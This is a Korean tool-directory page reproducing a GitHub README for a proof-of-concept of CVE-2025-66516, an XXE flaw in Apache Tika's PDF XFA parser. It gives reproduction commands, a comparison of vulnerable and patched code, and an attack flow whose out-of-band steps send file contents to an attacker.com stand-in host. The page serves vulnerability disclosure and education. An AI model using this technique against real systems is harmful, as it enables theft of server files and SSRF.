Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-66516-POC — 교육 목적으로만 사용되는 CVE-2025-66516 Apache Tika 취약점에 대한 PoC | Kitploit
도구/GitHubGitHub/sid6224/cve-2025-66516-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubsid6224/cve-2025-66516-poc

CVE-2025-66516-POC

교육 목적으로만 사용되는 CVE-2025-66516 Apache Tika 취약점에 대한 PoC

저장소 보기
618개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

⚠️ 사용 전 면책 조항 읽기 ⚠️

교육/승인된 테스트 전용 | 라이선스 | 보안 정책


CVE Tika Severity XXE License Platform Java


이 POC 소개

이 저장소는 Apache Tika 3.2.2 미만 버전의 XML External Entity (XXE) 주입 취약점인 CVE-2025-66516에 대한 개념 증명 (POC) 익스플로잇을 포함합니다. 이 취약점은 tika-parser-pdf-module 컴포넌트의 XFA (XML Forms Architecture) 파서에 영향을 미치며, 공격자가 악의적으로 조작된 PDF 문서를 통해 로컬 파일을 읽고 민감한 데이터를 유출할 수 있게 합니다.

CVE-2025-66516란 무엇인가?

CVE-2025-66516은 Apache Tika의 PDF 파싱 기능에 존재하는 심각한 보안 취약점입니다. Tika 3.2.2 이전 버전은 내장된 XFA 양식이 있는 PDF 파일을 처리할 때 XML 파서의 외부 엔터티 처리를 적절히 제한하지 못합니다. 이를 통해 공격자는 다음과 같은 작업을 수행할 수 있습니다:

  • 서버 파일 시스템에서 임의 파일 읽기 (로컬 파일 노출)
  • 외부 서버로 민감한 데이터 유출 (대역 외 XXE)
  • 내부 네트워크 리소스에 요청을 트리거하여 SSRF 공격 수행
  • Tika에 의존하는 애플리케이션의 보안 제어 우회

취약점 상세 정보

  • CVE ID: CVE-2025-66516
  • 영향받는 컴포넌트: Apache Tika tika-parser-pdf-module
  • 영향받는 버전: Apache Tika < 3.2.2
  • 패치된 버전: Apache Tika 3.2.2 이상
  • 공격 벡터: XXE 페이로드가 포함된 XFA 양식이 있는 악의적으로 제작된 PDF
  • 영향: 기밀성 침해, 데이터 유출, SSRF (Server-Side Request Forgery)
  • CVSS 심각도: 높음
  • 관련 CVE: CVE-2025-32370 (Tika의 유사한 XXE 취약점)

저장소 내용

이 저장소에는 다음이 포함됩니다:

  • gen_poc.py - 로컬 파일 읽기 XXE 공격을 위한 악성 PDF 생성 Python 스크립트
  • gen_oob_poc.py - 대역 외 데이터 유출을 위한 PDF 생성 Python 스크립트
  • http_listener.py - OOB XXE 데이터 유출을 시연하기 위한 HTTP 서버
  • DocumentProcessor.java - 취약한 Tika 통합을 보여주는 샘플 Java 애플리케이션
  • 단계별 재현 가이드 (예상 출력 포함)
  • 취약 버전과 패치 버전 비교 기술 분석
  • 공격 흐름 문서 (익스플로잇 메커니즘 설명)

키워드

Apache Tika XXE, CVE-2025-66516 exploit, Tika security vulnerability, XML External Entity attack, PDF XXE injection, Tika 3.2.1 vulnerability, out-of-band XXE, OOB XXE, security research, penetration testing, POC exploit, vulnerability disclosure, XFA parser vulnerability, tika-parser-pdf-module, file disclosure vulnerability, data exfiltration, SSRF attack, secure coding, vulnerability analysis, security testing, ethical hacking, infosec, cybersecurity research, Apache Tika exploit code, XXE payload, PDF security, document parser vulnerability


테스트 환경

참고: 이 POC는 다음 환경에서 테스트 및 검증되었습니다:

  • Apache Tika 버전: 3.2.1 (취약) 및 3.2.2 (패치)
  • 운영 체제: Linux - Ubuntu 24.04.3 LTS
  • Java 버전: OpenJDK 17.0.17

POC 디렉토리 설정

먼저 POC 전용 디렉토리를 생성하여 모든 파일을 정리합니다.

root@kitploit:~
mkdir apache_tika_poc
cd apache_tika_poc

환경 확인

POC를 진행하기 전에 환경에 필요한 종속성이 있는지 확인합니다. 다음 명령은 Java 컴파일러/런타임 버전과 OS 세부 정보를 표시하며, 이는 취약점 재현에 중요합니다.

root@kitploit:~
# Java 버전 확인
java -version
javac -version

# OS 버전 확인
lsb_release -a

예상 출력: Java 버전 정보 (예: OpenJDK 17.x.x) 및 Ubuntu 버전 세부 정보 (24.04.3 LTS)가 표시되어야 합니다.

Apache Tika JAR 다운로드

취약 버전 (3.2.1)과 패치 버전 (3.2.2)을 각각 다운로드합니다. 두 버전이 모두 필요하며, XXE 취약점이 3.2.1에 존재하고 3.2.2에서 수정되었음을 입증해야 합니다. tika-app JAR은 모든 Tika 파서와 종속성을 포함하는 올인원 실행 파일입니다.

root@kitploit:~
# 취약한 Tika 버전 다운로드
wget https://repo1.maven.org/maven2/org/apache/tika/tika-app/3.2.1/tika-app-3.2.1.jar

# 패치된 Tika 버전 다운로드  
wget https://repo1.maven.org/maven2/org/apache/tika/tika-app/3.2.2/tika-app-3.2.2.jar

예상 출력: 두 개의 JAR 파일 (tika-app-3.2.1.jar ~75MB, tika-app-3.2.2.jar ~75MB)이 다운로드됩니다.

컴포넌트 버전 확인

JAR 매니페스트 파일을 검사하여 정확한 버전을 확인합니다. 이는 테스트 전 올바른 취약/패치 버전을 확인하는 절차입니다.

root@kitploit:~
# 취약 버전 매니페스트 확인
unzip -p tika-app-3.2.1.jar META-INF/MANIFEST.MF

# 패치 버전 매니페스트 확인
unzip -p tika-app-3.2.2.jar META-INF/MANIFEST.MF

예상 출력: 각각 Implementation-Version: 3.2.1 및 3.2.2를 보여주는 매니페스트 파일과 빌드 타임스탬프 등 기타 메타데이터가 표시됩니다.

컴포넌트 POM 속성 나열

프로젝트 오브젝트 모델 (Maven의 POM 속성은 프로젝트의 종속성, 빌드 구성 및 메타데이터를 정의)을 살펴보면 보안 권고에서 언급된 별도의 tika-parsers가 없음을 알 수 있습니다. 이는 버전 관련 사항일 수 있으며, POC의 대상인 3.2.1 및 3.2.2 버전에서는 tika-parsers 모듈이 개별 파서 모듈로 대체된 것으로 추정됩니다.

root@kitploit:~
# 두 버전의 모든 pom.properties 파일 나열
unzip -l tika-app-3.2.1.jar | grep pom.properties | grep tika
unzip -l tika-app-3.2.2.jar | grep pom.properties | grep tika

예상 출력: tika-core, tika-parser-pdf-module, tika-xmp 등 모든 Tika 컴포넌트 모듈 목록이 표시됩니다. 단일 tika-parsers 모듈 대신 개별 파서 모듈이 있음을 확인할 수 있습니다.

Tika 컴포넌트 버전 확인

핵심 Tika 컴포넌트의 버전 정보를 추출하여 표시합니다. 이는 내부 모듈 구조를 이해하고 핵심 라이브러리와 PDF 파서 모듈이 모두 예상 버전인지 확인하는 데 도움이 됩니다.

root@kitploit:~
# 3.2.1의 tika-core, tika-parser-pdf-module, tika-app 버전 확인
unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-core/pom.properties && echo "---" && unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-parser-pdf-module/pom.properties && echo "---" && unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-app/pom.properties

# 3.2.2의 tika-core, tika-parser-pdf-module, tika-app 버전 확인
unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-core/pom.properties && echo "---" && unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-parser-pdf-module/pom.properties && echo "---" && unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-app/pom.properties

예상 출력: 각 컴포넌트에 대해 version=3.2.1 또는 version=3.2.2를 보여주는 POM 속성이 ---로 구분되어 표시됩니다. 세 컴포넌트(tika-core, tika-parser-pdf-module, tika-app) 모두 전체 버전과 일치해야 합니다.

XXE 익스플로잇 대상 파일 생성

XXE 공격의 대상이 될 가상의 시크릿 파일을 생성합니다. 이 파일은 공격자가 XXE 취약점을 통해 유출하려고 시도할 수 있는 민감한 데이터 (예: API 키 또는 자격 증명)를 시뮬레이션합니다.

root@kitploit:~
# 대상 시크릿 파일 생성
echo "INTERNAL_SERVER_KEY=EXPOSED" > fake-secrets.txt

예상 출력: INTERNAL_SERVER_KEY=EXPOSED 문자열이 포함된 fake-secrets.txt 파일이 생성됩니다. 이 파일은 XXE 익스플로잇에 의해 읽힙니다.

코드 분석: 취약 버전과 패치 버전 비교

수정 사항을 이해하려면 두 버전의 XMLReaderUtils 클래스를 디컴파일하여 비교해야 합니다. 이 클래스는 XML 파서를 생성하는 역할을 하며, 취약점은 XML 엔터티 처리 구성 방식에서 비롯됩니다.

root@kitploit:~
# 분석을 위해 취약 JAR 추출
mkdir tika-3.2.1-extract && cd tika-3.2.1-extract && unzip -q ../tika-app-3.2.1.jar && cd ..

# 분석을 위해 패치 JAR 추출
mkdir tika-3.2.2-extract && cd tika-3.2.2-extract && unzip -q ../tika-app-3.2.2.jar && cd ..

# 취약 클래스 디컴파일
cd tika-3.2.1-extract && javap -c org/apache/tika/utils/XMLReaderUtils.class > ../XMLReaderUtils-3.2.1.txt && cd ..

# 패치 클래스 디컴파일
cd tika-3.2.2-extract && javap -c org/apache/tika/utils/XMLReaderUtils.class > ../XMLReaderUtils-3.2.2.txt && cd ..

# 버전 비교
diff -u XMLReaderUtils-3.2.1.txt XMLReaderUtils-3.2.2.txt

예상 출력: 추출 시 디컴파일된 클래스 파일이 포함된 두 개의 디렉토리가 생성됩니다. javap 명령은 XMLReaderUtils 클래스의 바이트코드 디스어셈블리를 생성합니다. diff 명령은 버전 간 XML 파서 구성의 차이점을 보여줍니다.

수정 사항 식별

신중하게 비교하면 3.2.2에서 Doctype 정의(DTD) 및 외부 엔터티 지원이 비활성화되었음을 알 수 있습니다. 이것이 수정의 핵심입니다:

root@kitploit:~
diff -u XMLReaderUtils-3.2.1.txt XMLReaderUtils-3.2.2.txt | grep -A2 -B2 "accessExternalDTD\|supportDTD\|isSupportingExternalEntities"

예상 출력: 3.2.2에서 DTD 처리 및 외부 엔터티 해석을 비활성화하는 호출이 추가되었음을 보여주는 diff 출력이 표시됩니다. accessExternalDTD를 빈 문자열로 설정하고 supportDTD를 false로 설정하는 줄을 찾으십시오.

POC #1: 로컬 파일 읽기 XXE

이는 악성 PDF가 서버 파일 시스템의 로컬 파일을 읽는 고전적인 XXE 공격을 보여줍니다. Python 스크립트는 XXE 페이로드 ( file:///fake-secrets.txt 참조)가 포함된 XML이 포함된 XFA 양식이 포함된 PDF를 생성합니다.

root@kitploit:~
# 악성 PDF 생성
python3 ./gen_poc.py

# 취약한 Tika 3.2.1로 테스트
java -jar tika-app-3.2.1.jar -t cve_2025_66516_poc.pdf

# 패치된 Tika 3.2.2로 테스트
java -jar tika-app-3.2.2.jar -t cve_2025_66516_poc.pdf

예상 출력:

  • gen_poc.py가 XXE 페이로드가 포함된 cve_2025_66516_poc.pdf를 생성합니다.
  • 취약 버전 (3.2.1): Tika의 출력에 INTERNAL_SERVER_KEY=EXPOSED (시크릿 파일의 내용!)가 포함됩니다.
  • 패치 버전 (3.2.2): Tika의 출력에 시크릿 데이터가 포함되지 않습니다. XXE 공격이 차단됩니다.

POC #2: 대역 외 XXE

이는 대역 외 (OOB) 데이터 유출을 사용하는 보다 정교한 XXE 공격을 보여줍니다. 악성 PDF는 응답에 파일 내용을 반영하는 대신 Tika가 데이터를 공격자가 제어하는 외부 서버로 보내도록 강제합니다. 이 기술은 애플리케이션이 파싱된 콘텐츠를 반환하지 않는 경우에도 작동합니다.

root@kitploit:~
# 대역 외 XXE PDF 생성
python3 ./gen_oob_poc.py

# HTTP 리스너 시작 (별도 터미널에서)
python3 ./http_listener.py

# 취약한 Tika 3.2.1로 OOB XXE 테스트
java -jar tika-app-3.2.1.jar -t cve-2025-66516_OOB_XXE.pdf

# 패치된 Tika 3.2.2로 OOB XXE 테스트  
java -jar tika-app-3.2.2.jar -t cve-2025-66516_OOB_XXE.pdf

예상 출력:

  • gen_oob_poc.py가 OOB XXE 페이로드가 포함된 cve-2025-66516_OOB_XXE.pdf를 생성합니다.
  • http_listener.py가 8888 포트에서 서버를 시작하고 들어오는 요청을 기다립니다.
  • 취약 버전 (3.2.1): HTTP 리스너가 두 개의 요청을 수신합니다:
    1. /evil.dtd에 대한 GET 요청 (외부 DTD 페치)
    2. /exfil?data=INTERNAL_SERVER_KEY=EXPOSED에 대한 GET 요청 (데이터 유출)
  • 패치 버전 (3.2.2): HTTP 요청이 수신되지 않습니다. 외부 엔터티 처리가 차단됩니다.

애플리케이션 수준 테스트

Tika가 단순한 명령줄 도구가 아닌 Java 애플리케이션 내에서 라이브러리로 사용되는 보다 현실적인 시나리오에서 취약점을 테스트합니다. DocumentProcessor.java 코드는 일반적인 애플리케이션이 문서 파싱을 위해 Tika를 통합하는 방식을 시뮬레이션합니다.

root@kitploit:~
# 취약한 Tika로 컴파일
javac -cp tika-app-3.2.1.jar DocumentProcessor.java

# 취약한 Tika로 실행
java -cp tika-app-3.2.1.jar:. DocumentProcessor ./cve_2025_66516_poc.pdf

# 패치된 Tika로 컴파일
javac -cp tika-app-3.2.2.jar DocumentProcessor.java

# 패치된 Tika로 실행
java -cp tika-app-3.2.2.jar:. DocumentProcessor ./cve_2025_66516_poc.pdf

예상 출력:

  • 취약 버전 (3.2.1): 프로그램이 다음을 출력합니다:
    root@kitploit:~
    Document processed successfully!
    Content extracted: [INTERNAL_SERVER_KEY=EXPOSED를 포함한 텍스트]
    ⚠️  SECURITY ALERT: XXE vulnerability detected! Secret data leaked in output.
    
  • 패치 버전 (3.2.2): 프로그램이 다음을 출력합니다:
    root@kitploit:~
    Document processed successfully!
    Content extracted: [시크릿 데이터가 없는 텍스트]
    ✓ No XXE vulnerability detected.
    

정리

분석 단계에서 생성된 임시 디렉토리와 파일을 제거하여 작업 공간을 정리합니다.

root@kitploit:~
# 추출 디렉토리 제거
rm -rf tika-3.2.2-extract/
rm -rf tika-3.2.1-extract/
rm XMLReaderUtils-*.txt

예상 출력: 디렉토리와 디컴파일된 텍스트 파일이 제거됩니다. 오류가 없으면 출력이 표시되지 않습니다.


공격 흐름 이해

로컬 파일 시스템 XXE 공격 순서

  1. PDF에 DOCTYPE + ENTITY 선언이 포함된 XFA 스트림이 포함되어 있음
  2. Tika가 XFA를 감지 → XFAExtractor 호출
  3. XFAExtractor가 XMLReaderUtils를 통해 XML 파서 생성
  4. 파서가 DOCTYPE을 처리하고 xxe 엔터티를 등록함
  5. 파서가 &xxe; 참조를 만남
  6. 파서가 엔터티를 해석 → file:///fake-secrets.txt 읽기
  7. 파일 내용이 XML의 &xxe; 위치에 삽입됨
  8. XFAExtractor가 필드 값을 추출 = 파일 내용
  9. 애플리케이션이 Tika 출력에서 시크릿 데이터를 수신

대역 외 (OOB) XXE 공격 순서

  1. PDF에 매개변수 엔터티 (%file, %dtd)를 선언하는 DOCTYPE이 포함된 XFA가 포함되어 있음
  2. Tika가 XFA를 감지 → XFAExtractor 호출
  3. XFAExtractor가 XMLReaderUtils를 통해 XML 파서 생성
  4. 파서가 DOCTYPE을 처리하고 %file 엔터티 등록 → file:///fake-secrets.txt 가리킴
  5. 파서가 %dtd; 참조를 만남 → http://attacker.com:8888/evil.dtd 가리킴
  6. 파서가 evil.dtd를 가져오기 위해 공격자 서버에 HTTP GET 요청을 보냄
  7. 공격자의 HTTP 서버가 요청을 수신하고 evil.dtd 콘텐츠를 제공
  8. 파서가 evil.dtd를 처리: &send 정의를 포함하는 %payload 엔터티 정의
  9. evil.dtd가 %payload를 확장 → 유출 URL이 포함된 &send 엔터티 생성
  10. &send 엔터티 내용: http://attacker.com:8888/exfil?data=%file;
  11. 파서가 &send URL 내에서 %file;을 확장 → 파일 내용이 삽입됨
  12. 파서가 &send; 엔터티를 해석 → 유출 엔드포인트로 HTTP GET 요청
  13. 공격자의 HTTP 서버가 URL 매개변수에 파일 내용이 포함된 /exfil 요청을 수신
  14. 공격자가 URL 매개변수에서 데이터를 추출하고 시크릿 파일 내용을 기록
  15. 애플리케이션 출력은 무관함 → 데이터가 이미 공격자 서버로 유출됨

참고 자료

공식 보안 권고

  • Apache Tika 보안 페이지: https://tika.apache.org/security.html
  • NVD - CVE-2025-66516: https://nvd.nist.gov/vuln/detail/CVE-2025-66516
  • MITRE CVE 데이터베이스: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-66516
  • Apache Tika GitHub: https://github.com/apache/tika

관련 취약점

  • CVE-2025-54988 - CVE-2025-66516이 대체한 이전 CVE 식별자 (동일 취약점, 번호 재지정)
  • CVE-2025-32370 - Apache Tika의 유사한 XXE 취약점
  • OWASP XXE 가이드: https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing

기술 자료

  • Apache Tika 문서: https://tika.apache.org/
  • XXE 공격 기법: https://portswigger.net/web-security/xxe
  • PDF XFA 사양: Adobe XML Forms Architecture (XFA) 사양
  • Upwind 보안 분석: https://www.upwind.io/feed/apache-tika-rce-cve-2025-66516 (애플리케이션 코드 참조)

책임 있는 공개

보안 취약점을 발견한 경우 책임 있는 방식으로 보고해 주십시오:

  • Apache 보안 팀: [email protected]
  • Apache Tika 팀: https://tika.apache.org/mail-lists.html

태그

apache-tika xxe-vulnerability cve-2025-66516 security-research proof-of-concept xml-external-entity cybersecurity vulnerability-research poc infosec penetration-testing ethical-hacking pdf-security xfa-parser data-exfiltration


라이선스

이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하십시오.

교육 목적으로만 사용 - 이 POC는 교육 목적과 승인된 보안 테스트만을 위해 제공됩니다. 소유하지 않거나 테스트 권한이 없는 시스템에 대한 무단 사용은 불법입니다.


기여

이 POC 또는 문서를 개선하기 위한 기여를 환영합니다! 모든 기여는 다음을 준수해야 합니다:

  • 책임 있는 공개 관행을 따를 것
  • 적절한 면책 조항을 포함할 것
  • 교육적 시연을 넘어 악성 코드를 포함하지 않을 것
  • 교육적 가치에 중점을 둘 것

감사의 말

  • 이 취약점을 패치하기 위해 노력한 Apache Tika 보안 팀
  • 책임 있는 취약점 공개 관행을 따르는 보안 연구 커뮤니티
  • 이 저장소에 기여한 모든 분들

마지막 업데이트: 2025년 12월

도구 다운로드
ssrf
oob-xxe
file-disclosure
secure-coding
vulnerability-analysis
security-testing
exploit-development
red-team
blue-team
appsec
document-parsing
java-security